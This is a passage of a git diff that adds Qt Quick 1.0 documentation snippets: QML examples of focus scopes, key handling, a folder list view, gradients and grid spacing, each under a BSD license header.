+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+
+ // Column {
+ FocusScope {
+ x: rect1.x; y:rect1.y; width: rect1.width; height: rect1.height
+ Rectangle {id: rect1; width: 50; height: 50; focus:true
+ color: focus ? "red":"blue"
+ }
+ Rectangle {id: rect2; width: 50; height: 50; focus:true
+ color: focus ? "red":"blue"
+ y: 75
+ }
+// }
+/*
+ FocusScope {
+ x: rect2.x; y:rect2.y; width: rect2.width; height: rect2.height
+ Rectangle {id: rect2; width: 50; height: 50; color: "red"}
+ }
+*/
+ }
+
+}
diff --git a/doc/src/snippets/declarative/focus/focusscopewidget.qml b/doc/src/snippets/declarative/focus/focusscopewidget.qml
new file mode 100644
index 00000000..0493ad8e
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/focusscopewidget.qml
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+//! [focusscope window]
+Rectangle {
+ id: window
+
+ color: "white"; width: 240; height: 150
+
+ Column {
+ anchors.centerIn: parent; spacing: 15
+
+ MyFocusScopeWidget {
+ focus: true //set this MyWidget to receive the focus
+ color: "lightblue"
+ }
+ MyFocusScopeWidget {
+ color: "palegreen"
+ }
+ }
+
+}
+//! [focusscope window]
+//! [document]
diff --git a/doc/src/snippets/declarative/focus/myclickablewidget.qml b/doc/src/snippets/declarative/focus/myclickablewidget.qml
new file mode 100644
index 00000000..281f915e
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/myclickablewidget.qml
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [clickable in focusscope]
+FocusScope {
+
+ id: scope
+
+ //FocusScope needs to bind to visual properties of the children
+ property alias color: rectangle.color
+ x: rectangle.x; y: rectangle.y
+ width: rectangle.width; height: rectangle.height
+
+ Rectangle {
+ id: rectangle
+ anchors.centerIn: parent
+ color: "lightsteelblue"; width: 175; height: 25; radius: 10; smooth: true
+ Text { id: label; anchors.centerIn: parent }
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A)
+ label.text = 'Key A was pressed'
+ else if (event.key == Qt.Key_B)
+ label.text = 'Key B was pressed'
+ else if (event.key == Qt.Key_C)
+ label.text = 'Key C was pressed'
+ }
+ }
+ MouseArea { anchors.fill: parent; onClicked: { scope.focus = true } }
+}
+//! [clickable in focusscope]
diff --git a/doc/src/snippets/declarative/focus/myfocusscopewidget.qml b/doc/src/snippets/declarative/focus/myfocusscopewidget.qml
new file mode 100644
index 00000000..0e0f1b71
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/myfocusscopewidget.qml
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+//! [widget in focusscope]
+FocusScope {
+
+ //FocusScope needs to bind to visual properties of the Rectangle
+ property alias color: rectangle.color
+ x: rectangle.x; y: rectangle.y
+ width: rectangle.width; height: rectangle.height
+
+ Rectangle {
+ id: rectangle
+ anchors.centerIn: parent
+ color: "lightsteelblue"; width: 175; height: 25; radius: 10; smooth: true
+ Text { id: label; anchors.centerIn: parent }
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A)
+ label.text = 'Key A was pressed'
+ else if (event.key == Qt.Key_B)
+ label.text = 'Key B was pressed'
+ else if (event.key == Qt.Key_C)
+ label.text = 'Key C was pressed'
+ }
+ }
+}
+//! [widget in focusscope]
+//! [document]
diff --git a/doc/src/snippets/declarative/focus/mywidget.qml b/doc/src/snippets/declarative/focus/mywidget.qml
new file mode 100644
index 00000000..b0724e30
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/mywidget.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+//! [mywidget]
+Rectangle {
+ id: widget
+ color: "lightsteelblue"; width: 175; height: 25; radius: 10; smooth: true
+ Text { id: label; anchors.centerIn: parent}
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A)
+ label.text = 'Key A was pressed'
+ else if (event.key == Qt.Key_B)
+ label.text = 'Key B was pressed'
+ else if (event.key == Qt.Key_C)
+ label.text = 'Key C was pressed'
+ }
+}
+//! [mywidget]
diff --git a/doc/src/snippets/declarative/focus/qmldir b/doc/src/snippets/declarative/focus/qmldir
new file mode 100644
index 00000000..d0683b2b
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/qmldir
@@ -0,0 +1,4 @@
+MyWidget 1.0 mywidget.qml
+MyFocusScopeWidget 1.0 myfocusscopewidget.qml
+MyClickableWidget 1.0 myclickablewidget.qml
+
diff --git a/doc/src/snippets/declarative/focus/rectangle.qml b/doc/src/snippets/declarative/focus/rectangle.qml
new file mode 100644
index 00000000..942fc6e7
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/rectangle.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [simple key event]
+Rectangle {
+ width: 100; height: 100
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A) {
+ console.log('Key A was pressed');
+ event.accepted = true;
+ }
+ }
+//! [simple key event]
+
+//! [active focus]
+ Text {
+ text: activeFocus ? "I have active focus!" : "I do not have active focus"
+ }
+//! [active focus]
+
+//! [simple key event end]
+}
+//! [simple key event end]
diff --git a/doc/src/snippets/declarative/focus/widget.qml b/doc/src/snippets/declarative/focus/widget.qml
new file mode 100644
index 00000000..72b46ed5
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/widget.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [window]
+
+//Window code that imports MyWidget
+Rectangle {
+ id: window
+ color: "white"; width: 240; height: 150
+
+ Column {
+ anchors.centerIn: parent; spacing: 15
+
+ MyWidget {
+ focus: true //set this MyWidget to receive the focus
+ color: "lightblue"
+ }
+ MyWidget {
+ color: "palegreen"
+ }
+ }
+}
+//! [window]
diff --git a/doc/src/snippets/declarative/focusscopes.qml b/doc/src/snippets/declarative/focusscopes.qml
new file mode 100644
index 00000000..0cfe6ab2
--- /dev/null
+++ b/doc/src/snippets/declarative/focusscopes.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ color: "lightsteelblue"; width: 240; height: 320
+
+ ListView {
+ anchors.fill: parent
+ focus: true
+
+ model: ListModel {
+ ListElement { name: "Bob" }
+ ListElement { name: "John" }
+ ListElement { name: "Michael" }
+ }
+
+ delegate: FocusScope {
+ width: childrenRect.width; height: childrenRect.height
+ TextInput {
+ focus: true
+ text: name
+ Keys.onReturnPressed: console.log(name)
+ }
+ }
+ }
+ }
+//![0]
diff --git a/doc/src/snippets/declarative/folderlistmodel.qml b/doc/src/snippets/declarative/folderlistmodel.qml
new file mode 100644
index 00000000..4953c6f4
--- /dev/null
+++ b/doc/src/snippets/declarative/folderlistmodel.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+import Qt.labs.folderlistmodel 1.0
+
+ListView {
+ width: 200; height: 400
+
+ FolderListModel {
+ id: folderModel
+ nameFilters: ["*.qml"]
+ }
+
+ Component {
+ id: fileDelegate
+ Text { text: fileName }
+ }
+
+ model: folderModel
+ delegate: fileDelegate
+}
+//![0]
diff --git a/doc/src/snippets/declarative/gradient.qml b/doc/src/snippets/declarative/gradient.qml
new file mode 100644
index 00000000..490b8bb5
--- /dev/null
+++ b/doc/src/snippets/declarative/gradient.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![code]
+Rectangle {
+ width: 100; height: 100
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "red" }
+ GradientStop { position: 0.33; color: "yellow" }
+ GradientStop { position: 1.0; color: "green" }
+ }
+}
+//![code]
diff --git a/doc/src/snippets/declarative/grid-spacing.qml b/doc/src/snippets/declarative/grid-spacing.qml
new file mode 100644
index 00000000..9665c66e
--- /dev/null
+++ b/doc/src/snippets/declarative/grid-spacing.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 112; height: 112
+ color: "#303030"
+
+ Grid {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ columns: 2
+ spacing: 6
+
+ Rectangle { color: "#aa6666"; width: 50; height: 50 }
+ Rectangle { color: "#aaaa66"; width: 50; height: 50 }
+ Rectangle { color: "#9999aa"; width: 50; height: 50 }
+ Rectangle { color: "#6666aa"; width: 50; height: 50 }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/grid/grid-items.qml b/doc/src/snippets/declarative/grid/grid-items.qml
new file mode 100644
index 00000000..50a04068
--- /dev/null
+++ b/doc/src/snippets/declarative/grid/grid-items.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
